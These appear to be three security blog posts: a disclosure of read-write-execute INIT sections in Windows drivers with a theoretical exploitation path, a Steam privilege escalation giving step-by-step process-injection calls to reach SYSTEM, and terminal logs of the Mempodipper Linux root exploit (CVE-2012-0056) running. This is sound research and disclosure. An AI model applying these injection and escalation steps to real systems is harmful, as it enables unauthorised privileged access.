W^X policy violation affecting all Windows drivers compiled in Visual Studio 2013 and previous

Back in June, I was doing some analysis on a Windows driver and discovered that the INIT section had the read, write, and executable characteristics flags set. Windows executables (drivers included) use these flags to tell the kernel what memory protection flags should be applied to that section’s pages once the contents are mapped into memory. With these flags set, the memory pages become both writable and executable, which violates the W^X policy, a concept which is considered good security practice. This is usually considered a security issue because it can give an attacker a place to write arbitrary code when staging an exploit, similar to how pre-NX exploits used to use the stack as a place to execute shellcode.

While investigating these section flags in the driver, I also noticed a slightly unusual flag was set: the DISCARDABLE flag. Marking a section as discardable in user-mode does nothing; the flag is meaningless. In kernel-mode, however, the flag causes the section’s pages to be unloaded after initialisation completes. There’s not a lot of documentation around this behaviour, but the best resource I discovered was an article on Raymond Chen’s “The Old New Thing” blog, which links off to some other pages that describe the usage and behaviour in various detail. I’d like to thank Hans Passant for giving me some pointers here, too. The short version of the story is that the INIT section contains the DriverEntry code (think of this like the ‘main()’ function of a driver), and it is marked as discardable because it isn’t used after the DriverEntry function returns. From gathering together scraps of information on this behaviour, it seems to be that the compiler does this because the memory that backs the DriverEntry function must be pageable (though I’m not sure why), but any driver code which may run at IRQLs higher than DISPATCH_LEVEL must not try to access any memory pages that are pageable, because there’s no guarantee that the OS can service the memory access operation. This is further evidenced by the fact that the CODE section of drivers is always flagged with the NOT_PAGED characteristic, whereas INIT is not. By discarding the INIT section, there can be no attempt to execute this pageable memory outside of the initialisation phase. My understanding of this is incomplete, so if anyone has any input on this, please let me know.

The DISCARDABLE behaviour means that the window of exploitation for targeting the memory pages in the INIT section is much smaller – a vulnerability must be triggered during the initialisation phase of a driver (before the section is discarded), and that driver’s INIT section location must be known. This certainly isn’t a vulnerability on its own (you need at least a write-what-where bug to leverage this) but it is also certainly bad practice.

Here’s where things get fun: in order to compare the driver I was analysing to a “known good” sample, I looked into some other drivers I had on my system. Every single driver I investigated, including ones that are core parts of the operating system (e.g. win32k.sys), had the same protection flags. At this point I was a little stumped – perhaps I got something wrong, and the writable flag is needed for some reason? In order to check this, I manually cleared the writable flag on a test driver, and loaded it. It worked just fine, as did several other test samples, from which I can surmise that it is superfluous. I also deduced that this must be a compiler (or linker) issue, since both Microsoft drivers and 3rd party drivers had the same issue. I tried drivers compiled with VS2005, VS2010, and VS2013, and all seemed to be affected, meaning that pretty much every driver on Windows Vista to Windows 8.1 is guaranteed to suffer from this behaviour, and Windows XP drivers probably do too.

INIT section of ATAPI Driver from Windows 8.1

While the target distribution appears to be pretty high, the only practical exploitation path I can think of is as follows:

  1. Application in unprivileged usermode can trigger a driver to be loaded on demand.
  2. Driver leaks a pointer (e.g. via debug output) during initialisation which can be used to determine the address of DriverEntry in memory.
  3. A write-what-where bug in another driver or in the kernel that is otherwise very difficult to exploit (e.g. due to KASLR, DEP, KPP, etc.) is triggered before the DriverEntry completes.
  4. Bug is used to overwrite the end of the DriverEntry function.
  5. Arbitrary code is executed in kernel.

This is a pretty tall order, but there are some things that make it more likely for some of the conditions to arise. First, since any driver can be used (they all have INIT marked as RWX) you only need to find one that you can trigger from unprivileged usermode. Ordinarily the race condition between step 1 and step 4 would be difficult to hit, but if the DriverEntry calls any kind of synchronisation routine (e.g. ZwWaitForSingleObject) then things get a lot easier, especially if the target sync object happens to have a poor or missing DACL, allowing for manipulation from unprivileged usermode code. These things make it a little easier, but it’s still not very likely.

Since I was utterly stumped at this point as to why drivers were being compiled in this way, I decided to contact Microsoft’s security team. Things were all quiet on that front for a long time; aside from an acknowledgement, I actually only heard back from yesterday (2015/09/03). To be fair to them, though, it was a complicated issue and even I wasn’t very sure as to its impact, and I forgot all about it until their response email.

Their answer was as follows:

After discussing this issue internally, we have decided that no action will be taken at this time. I am unable to allocate more resources to answer your questions more specifically, but we do thank you for your concern and your commitment to computer security.

And I can’t blame them. Exploiting this issue would need a powerful attack vector already, and even then it’d be pretty rare to find the prerequisite conditions. The only thing I’m a bit bummed about is that they couldn’t get anyone to explain how it all works in full.

But the story doesn’t end there! In preparation for writing this blog post, I opened up a couple of Microsoft’s drivers on my Windows 10 box to refresh my memory, and found that they no longer had the execute flag set on the INIT section. It seems that Microsoft probably patched this issue in Visual Studio 2015, or in a hotfix for previous versions, so that it no longer happens. Makes me feel all warm and fuzzy inside. I should note, however, that 3rd party drivers such as Nvidia’s audio and video drivers still have the same issue, which implies that they haven’t been recompiled with a version of Visual Studio that contains the fix. I suspect that many vendor drivers will continue to have this issue.

I asked Microsoft whether it had been fixed in VS2015, but they wouldn’t comment on the matter. Since I don’t have a copy of VS2015 yet, I can’t verify my suspicion that they fixed it.

In closing, I’d like to invite anyone who knows more than me about this to provide more information about how/why the INIT section is used and discarded. If you’ve got a copy of VS2015 and can build a quick Hello World driver to test it out, I’d love to see whether it has the RWX issue on INIT.


Disclosure timeline:

  • 29th June 2015 – Discovered Initial driver bug
  • 30th June 2015 – Discovered wider impact (all drivers affected)
  • 2nd July 2015 – Contacted Microsoft with report / query
  • 2nd July 2015 – Microsoft replied with acknowledgement
  • 6th July 2015 – Follow-up email sent to Microsoft
  • [ mostly forgot about this, so I didn’t chase it up ]
  • 3rd September 2015 – Microsoft respond (see above)
  • 3rd September 2015 – Acknowledgement email sent to Microsoft, querying fix status
  • 4th September 2015 – Microsoft respond, will not comment on fix status
  • 4th September 2015 – Disclosed
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Steam Code Execution – Privilege Escalation to SYSTEM (Part 2)

In my previous post I talked about a vulnerability in Steam which allows you to bypass UAC. I’m going to be totally transparent here: I fucked up. I wrote the draft post a few days back, then did some more work on the vulnerability. I discovered something much more serious in the process. I posted last night’s blog post at 1am, tired as hell, and in my sleep-deprived state I completely neglected to update it properly, and there are several mistakes and bits of missing information. The draft went out and confused a lot of people. So, for that, I apologise. I’m going to leave it there so people can see it, because it’ll remind me not to do that next time.

Now, onto the real impact of the vulnerability: I can leverage it to gain code execution as SYSTEM. How? Well, it turns out that Steam.exe gives itself one unusual privilege – the privilege to debug other processes. This is called SeDebugPrivilege and one of its features is that it allows the process to bypass access control lists (ACLs) on processes when you call OpenProcess, i.e. the process can open a handle to any process it likes, with any privilege it likes.

Here’s how you can elevate to SYSTEM when you have SeDebugPrivilege:

  1. Open a handle to a process that is running as SYSTEM, with PROCESS_ALL_ACCESS as the access flag.
  2. Use VirtualAllocEx to allocate a block of memory in the remote process, with the executable flag set.
  3. Use WriteProcessMemory to copy a block of shellcode into that memory buffer.
  4. Use CreateRemoteThread to create a new thread in the remote process, whose start address is the base address of the memory allocation.
  5. Bingo! You just got a privesc to SYSTEM.

In this case, once you’ve got code execution inside Steam, you can utilise this trick to escalate yourself to SYSTEM. There’s your privesc vuln.

Linux local kernel privilege escalation to root

A new vulnerability (CVE-2012-0056) that affects almost 650 different builds of the Linux kernel builds allows effortless privilege escalation to root. It works by forking child processes to trick the self_exec_id check on /proc/pid/mem access, allowing the code to modify its own SUID and gain root.

CVE-2012-0056 $ ./mempodipper 
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================
 
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/6454/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x402178.
[+] Seeking to offset 0x40216c.
[+] Executing su with shellcode.
sh-4.2# whoami
root
sh-4.2#

My own research shows that it also affects certain 3.0.0 kernels, so I’m not sure why that’s been omitted from listings. I’ll take more of a detailed look into the scope of the problem today, and update this post with the results.

The security researcher zx2c4 has released a technical description of the bug, as well as an exploit.

Update (2012-01-27 09:23): Yup, definitely vulnerable on 3.0.0:

gsutherland@ubuntu:~/cve-2012-0056/CVE-2012-0056$ uname -a
Linux ubuntu 3.0.0-12-generic #20-Ubuntu SMP Fri Oct 7 14:50:42 UTC 2011 i686 i686 i386 GNU/Linux
gsutherland@ubuntu:~/cve-2012-0056/CVE-2012-0056$ id
uid=1000(gsutherland) gid=1000(gsutherland) groups=1000(gsutherland),4(adm),20(dialout),24(cdrom),46(plugdev),116(lpadmin),118(admin),124(sambashare)
gsutherland@ubuntu:~/cve-2012-0056/CVE-2012-0056$ ./mempodipper
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Ptracing su to find next instruction without reading binary.
[+] Creating ptrace pipe.
[+] Forking ptrace child.
[+] Waiting for ptraced child to give output on syscalls.
[+] Ptrace_traceme'ing process.
[+] Error message written. Single stepping to find address.
[+] Resolved call address to 0x8049570.
[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/4594/mem in child.
[+] Sending fd 6 to parent.
[+] Received fd at 6.
[+] Assigning fd 6 to stderr.
[+] Calculating su padding.
[+] Seeking to offset 0x8049564.
[+] Executing su with shellcode.
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),46(plugdev),116(lpadmin),118(admin),124(sambashare),1000(gsutherland)
# whoami
root
#